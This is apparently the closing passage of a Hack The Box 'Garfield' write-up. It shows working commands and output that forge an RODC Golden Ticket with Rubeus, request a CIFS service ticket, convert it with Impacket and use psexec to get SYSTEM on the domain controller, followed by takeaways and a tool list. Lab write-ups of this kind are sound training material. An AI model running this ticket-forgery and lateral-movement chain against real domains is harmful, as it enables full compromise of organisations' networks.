*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> .\Rubeus_new.exe golden /rodcNumber:8245 /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357 /outfile:C:\Users\l.wilson_adm\Documents\rodc_golden_new.kirbi

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : GARFIELD.HTB (GARFIELD)
[*] SID            : S-1-5-21-2502726253-3859040611-225969357
[*] UserId         : 500
[*] Groups         : 520,512,513,519,518
[*] ServiceKey     : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : garfield.htb

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'Administrator@garfield.htb'

[*] AuthTime       : 4/8/2026 10:26:50 AM
[*] StartTime      : 4/8/2026 10:26:50 AM
[*] EndTime        : 4/8/2026 8:26:50 PM
[*] RenewTill      : 4/15/2026 10:26:50 AM

[*] base64(ticket.kirbi):

      doIFkjCCBY6gAwIBBaEDAgEWooIEfzCCBHthggR3MIIEc6ADAgEFoQ4bDEdBUkZJRUxELkhUQqIhMB+g
      AwIBAqEYMBYbBmtyYnRndBsMZ2FyZmllbGQuaHRio4IENzCCBDOgAwIBEqEGAgQgNQAAooIEIgSCBB6l
      jqo64FacsPROddpt6sa0mfBeyNusg9bXjeO1WMnlCPto6277D5WkR0wN4+PpUWNwyNzapxXDYioNKtlg
      umIsPOjXLZP1tzFXhXwJEJqGDR4pgfKmuafFUt5xft4odLaFN1exxaqm99xyJWrBaB7Z6hZeiWyu+LGw
      D6M891m847/vTPIrklm9VNrcEe7ljhR8O4dHXV6hJ7VGOSI6wBgkHjyzoMd9+2HIj4Vajqe9g+SbqgYe
      U4cV8UbxbdmhUkPOiZIaQPbx2qxd0jFBJQ4ScKn2n5OELrwEakmf+84cbedtTGYmZF3IQmESWAOy0Y5k
      w1QMbZnPr8y+fgzvizO8RTF82eO5bqdcqHnndBHZpLGOn6Y8qLq3wixCqOVafYzzQnPpbbHFk8Mft4C6
      ANhVorc832R83AUBWWfvSIi4aqJCQxhRio40lPqamld0GcNJZM+BcSVzJf4Dt5LSkytGWi9ykLRKOP+X
      5/5kBCb7a7oZ7nQDMy487PYQcJQ4MqOPE7sbgjDsDFxf1Tr4DwkujTRxuOKbNLuU+4o075Dt/rLEDKnl
      OpxbA8SwbW9RHbiWrapTqlXZCaV0BtLpaY3zwjiSzMpewpGJA7jAuYjKmTJM8wl9aabSNKnkkzwJ+qJF
      5rw0C90xVnFUssqKqZPzf+YdX8uJ2ockK9gk4sVLeGlzPKk67zuSl+JCrPRC31a3tjBo1exD0YXEtpY6
      MQUTprWxhix6rphCn+Rd2/x+HZmkYivwyqbI7x/FeSPQ9DnDLzjcWUd0P0GQfx3pxXp35L4J1VbQE6Ku
      MfcC2SiVyjfMfq7dzgO0z8oTfYfyuiSgglVX/PMBnl1oiRqI028aCLE9vjGG+2OOA3Kz3l2+Yd14amPE
      iKlL65aqJNbE0Ipo/+f8kUQdGGbQOs07OZS+KDXww0Kox4HXRxL6FZ5INBgYB2/VrlT9b1bhLS/DNDbI
      R52ipCuYHDBIiJScnv1gRaK9/0OZlbhh9m9ju2Fz+27rNn3Y1HKzuh7lcI4SjjVqeygVw6fkcnAC0I8i
      jCzeCOaUWqp70GCZf3SFLiemjlEtaO32TKDYfq1PhZmujuciai9U1HnA5s37ijVbCdvKVpjkdEt+86K6
      OjSjjauu466jqdhwaqEfoILMDrJaVuODFMHy57vKXBvuVCQ4OKlZajynL0fKaoeq2uJd5Te3ESf2TDoX
      PcKZ9K+QsymrgelVzbKc8hYqRmOGclcvWLSNQ5J1z3BgfyeeK0ioIqBk/FZfwRzyB6QHzMQMi+GbRSqS
      i1YVH1/YyDcJI8WFezFOyCfH7qQLCgGfAvZvwUMrh39mNsLW0ZanK5ZJuuP7KqWiRFPW0AhLTB6F9JBT
      UrxXoZAQJNNEFpsXqyRoMenenAYxXE9ume2f/Y4LFWzLo4H+MIH7oAMCAQCigfMEgfB9ge0wgeqggecw
      geQwgeGgKzApoAMCARKhIgQgf6mOrQ5wAQfnvb1a8MPWqkEAHZy0GOTQ+Bagy19GiH2hDhsMR0FSRklF
      TEQuSFRCohowGKADAgEBoREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQOAAAKQRGA8yMDI2MDQwODE3MjY1
      MFqlERgPMjAyNjA0MDgxNzI2NTBaphEYDzIwMjYwNDA5MDMyNjUwWqcRGA8yMDI2MDQxNTE3MjY1MFqo
      DhsMR0FSRklFTEQuSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0GwxnYXJmaWVsZC5odGI=


[*] Ticket written to C:\Users\l.wilson_adm\Documents\rodc_golden_new_2026_04_08_17_26_50_Administrator_to_krbtgt@GARFIELD.HTB.kirbi

Then requested a TGS for CIFS on DC01:

*Evil-WinRM* PS C:\Users\l.wilson_adm\Documents> .\Rubeus_new.exe asktgs /ticket:C:\Users\l.wilson_adm\Documents\rodc_golden_new_2026_04_08_17_26_50_Administrator_to_krbtgt@GARFIELD.HTB.kirbi /service:cifs/DC01.garfield.htb /dc:DC01.garfield.htb /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/DC01.garfield.htb'
[*] Using domain controller: DC01.garfield.htb (fe80::8d:6111:6cf0:bb46%7)
[+] TGS request successful!
[X] Error 1312 running LsaLookupAuthenticationPackage (ProtocalStatus): A specified logon session does not exist. It may already have been terminated
[*] base64(ticket.kirbi):

      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
      EURDMDEuZ2FyZmllbGQuaHRi

  ServiceName              :  cifs/DC01.garfield.htb
  ServiceRealm             :  GARFIELD.HTB
  UserName                 :  Administrator (NT_PRINCIPAL)
  UserRealm                :  GARFIELD.HTB
  StartTime                :  4/8/2026 10:27:41 AM
  EndTime                  :  4/8/2026 8:26:50 PM
  RenewTill                :  4/15/2026 10:26:50 AM
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  MuqfQgkpIZ8JsLfSqMAwTQWKk/uN9Be3+6hAeiT4Odc=

The TGS came back clean. Same key material, same parameters, completely different result. The only change was the tool version. No integrity errors, no revocation, no denial. The RODC Golden Ticket was valid.

psexec — Walking Through

The ptt injection failed inside Evil-WinRM — a known limitation of the constrained session. No problem. I extracted the TGS ticket as base64 from the Rubeus output, decoded it on Kali, and converted it with Impacket:

┌──(root㉿kali)-[/home/kali]
└─# echo doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEFoQ4bDEdBUkZJRUxELkhUQqIkMCKgAwIBAqEbMBkbBGNpZnMbEURDMDEuZ2FyZmllbGQuaHRio4IEnDCCBJigAwIBEqEDAgEHooIEigSCBIaILkHp3bMHQZU7btLK8OAnxAsfCGbwifZYi1Ih0hubc+LV7RmQ76qlkZVnvquvhU81siFKWPKwCtH7LXGqRqx+LRC7AkO+JOzJEbnII5PnZO8LkztFI+vsbkNXGmpa3+FTDyCN2/KgU/xmCKW+IAV5XZo64QYwI4RJteUDMpzQms4J0xQjxGPyQcxQpnyHftesX4blj5Xb+dvjBv/puLGeBqBLM3FidAUvKO6L6mr7PDhm+OtBwXsotpvukHDLbDJJqHGzswmlVrSgTeeT9zvfQ86Vk7qFCLt18rHjUeib/5P8tzMSWQctQFBWF297Si0mxYe1J+uv4bs1zlPi3WroYFdyTQz0KS3bCJ5b4fnc6qmr03pDmR94+VsKEa9Cqjar5+eI9lIe3RDuQ+i9Lr528fAF4RCmaFfPUDOk5Sn8MYI9SH3UakZerCOpFQI8BuGMmWhNAFVpsZ8ScDr2fHQ2e/Bldq02yrYeUkNu4HA2cPDLjQDCmrk5cZPCLFj7MeuPC+ylodhuPXLu8BJg1qG6Z+t4BawZ/ags7FDy12c01vDRbSvgIqKSbvWYCsSYKgALX4KD8uNG693Gawsw+Pv0eTZLswGXlzR2ywFDNxzKmCDeSiVRovKHKKXndO+2Kxz5h7X7BxjIQqoHMm7MzxjzVhc2ieSy/dj6m70U1pBqipqNLtIg8braIgYfuDaeNJ54dWrN9FKa9PVdfuYp5azZbGubrNYiF5+wNYwHjZj3Yd4m5rD1qLNSeAifixSfqIrxnLdnQT0VU41VOQOr8vhl5gQlEgpRKdlIOE75ZsvbtNXTbbvNu0UwGt4ZyjgsvCKagAKoVkO8bKGnqXzovjHCXDifsvcCDc4fvVCUY9kzL9Q91C+Nqtu8yiZOQHQWwqQIVDig4LW1KSBM4uzDWM4m/1wgJ0yWwzqwnMBI06whkohbs6EH0J89NGhTJqSKw42CAGoaOE6wynLOvxw2ovC+dIKVOr9LUDcrGQV3p3nGL+PcpqQKxcy8REwyum3KnnhPXJhqdFTcyVRMQSo0ZkCU78C8/CIEalnpGQaDaJAY9FLkA5F9N+o83Qhg3QiHhDNSbo0rjtRtbsm0AnizwF7w5IxvXmNTSDWBd6a37mtjUKhGQ6OjC4pNm41FiVCYV0vN7KPAycE0BAImYGJ0pbsHJKW/O7FD8zLjm4n4Du2SXM/SnVXnMBFIGYUF4qnDGg4qjSYs51wHAb3XnvnNsd6QK2eE4C0/d5FfPSnoiN3danbejvwbPXyjkCLrqYjbnuH1b/F9DYgIhfLMasS+zKs4eUhpLM7apmlaISTHApYspVlgFKFkBfEbj5f4dSJsK3IuFHYfcSOe6t87pWzUK++8J+9VK/LJQ+H1Ym5VoT/3Q34ZxHyRZWgm5CrTCxopTmD0t4okNT4SmEi1mpfijpMzM9wdak45B3nbCLhiBTeaTYv906s6hijBFX5xchLi+3wloYqDR+M2BDdI2NPbUsDZqpfoWMnjUlVqWSMyKNwC9sPI9aR8u09XP2WoaX8ELSF0nx1FhXSjge4wgeugAwIBAKKB4wSB4H2B3TCB2qCB1zCB1DCB0aArMCmgAwIBEqEiBCAy6p9CCSkhnwmwt9KowDBNBYqT+430F7f7qEB6JPg516EOGwxHQVJGSUVMRC5IVEKiGjAYoAMCAQGhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBApQAApREYDzIwMjYwNDA4MTcyNzQxWqYRGA8yMDI2MDQwOTAzMjY1MFqnERgPMjAyNjA0MTUxNzI2NTBaqA4bDEdBUkZJRUxELkhUQqkkMCKgAwIBAqEbMBkbBGNpZnMbEURDMDEuZ2FyZmllbGQuaHRi | base64 -d > /home/kali/tgs.kirbi

┌──(root㉿kali)-[/home/kali]
└─# impacket-ticketConverter /home/kali/tgs.kirbi /home/kali/tgs.ccache
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] converting kirbi to ccache...
[+] done

Exported the ticket and pointed psexec at DC01:

┌──(root㉿kali)-[/home/kali]
└─# export KRB5CCNAME=/home/kali/tgs.ccache

┌──(root㉿kali)-[/home/kali]
└─# impacket-psexec garfield.htb/Administrator@DC01.garfield.htb -k -no-pass
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on DC01.garfield.htb.....
[*] Found writable share ADMIN$
[*] Uploading file CeXQscfX.exe
[*] Opening SVCManager on DC01.garfield.htb.....
[*] Creating service gInk on DC01.garfield.htb.....
[*] Starting service gInk.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.8385]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
f49845e1************************

SYSTEM on DC01. Domain compromised.

From a low-privilege domain user with zero outbound control edges in BloodHound, through six phases of escalation — attribute-level ACL abuse, logon script hijacking, password reset chains, RBCD delegation, RODC credential dumping, and a forged Golden Ticket — to full domain administrator on the primary Domain Controller.

The entire attack chain hinged on one thing BloodHound couldn't see: a single attribute-level write permission on a user's scriptPath. One invisible edge that unraveled an entire Active Directory domain.

Garfield taught me something I won't forget: when the map shows no roads, the problem might not be the territory — it might be the map.

Key Takeaways

This machine broke almost every assumption I walked in with. Here's what stayed with me after the dust settled:

Enumerate deeper before exploiting wider. I wasted hours chasing AS-REP Roasting, Kerberoasting, and PetitPotam — all standard techniques, all dead ends. The real path was a single attribute-level write permission that BloodHound couldn't see. When the obvious tools show nothing, the answer isn't to try harder with the same tools. It's to find a different tool that looks at a different level of detail.

Always test write access manually. netexec --shares said READ on SYSVOL. The scripts subfolder was writable the entire time. Share-level permissions and NTFS-level permissions are different things. If I'd tested a simple file upload in Phase 2, the foothold would have been obvious hours earlier.

RODC security is only as strong as who controls the computer object. The entire "read-only" security model collapses the moment an attacker can write to msDS-RevealOnDemandGroup and msDS-NeverRevealGroup. Those two attributes are the difference between a safely isolated replica and a domain-wide compromise vector.

Denied PRP entries override allowed entries. This one cost me real time. Adding Administrator to the allow list means nothing when Domain Admins is still on the deny list. Clear the deny list first, then modify the allow list. Order matters.

Tool versions matter more than you think. Rubeus v2.2.0 and v2.3.3 produce structurally different RODC Golden Tickets. Same key material, same parameters — one gets KRB_AP_ERR_BAD_INTEGRITY, the other works perfectly. When an attack fails and everything looks correct, question the tool before questioning yourself.

Understand your tools' destructive operations. bloodyAD set overwrites; it doesn't append. In a CTF that's fine. In a production environment, wiping the entire Password Replication Policy to add one entry would cause immediate operational impact. Know the difference between set and add before you run either.

When the map shows no roads, question the map. BloodHound is an incredible tool. It's also blind to attribute-level DACLs. That one limitation turned a 30-minute attack chain into a multi-hour odyssey. The lesson isn't "don't use BloodHound" — it's "don't trust any single tool as your only source of truth."

Tools Used

Tool Purpose
naabu / nmap Port scanning and service enumeration
netexec SMB authentication, share enumeration, user enumeration, password spraying
BloodHound CE AD attack path visualization (and its limitations)
bloodyAD Attribute-level ACL enumeration, scriptPath modification, PRP manipulation
Impacket addcomputer, RBCD, getST, psexec, smbclient, ticketConverter, secretsdump
Evil-WinRM Remote PowerShell access and file transfer
Rubeus v2.3.3 RODC Golden Ticket forgery and TGS requests
Mimikatz Credential dumping (krbtgt_8245 AES key extraction)
Chisel SOCKS proxy tunnel through DC01 to reach internal RODC01
PetitPotam NTLM authentication coercion (dead end in this case)
certutil File transfer to Windows targets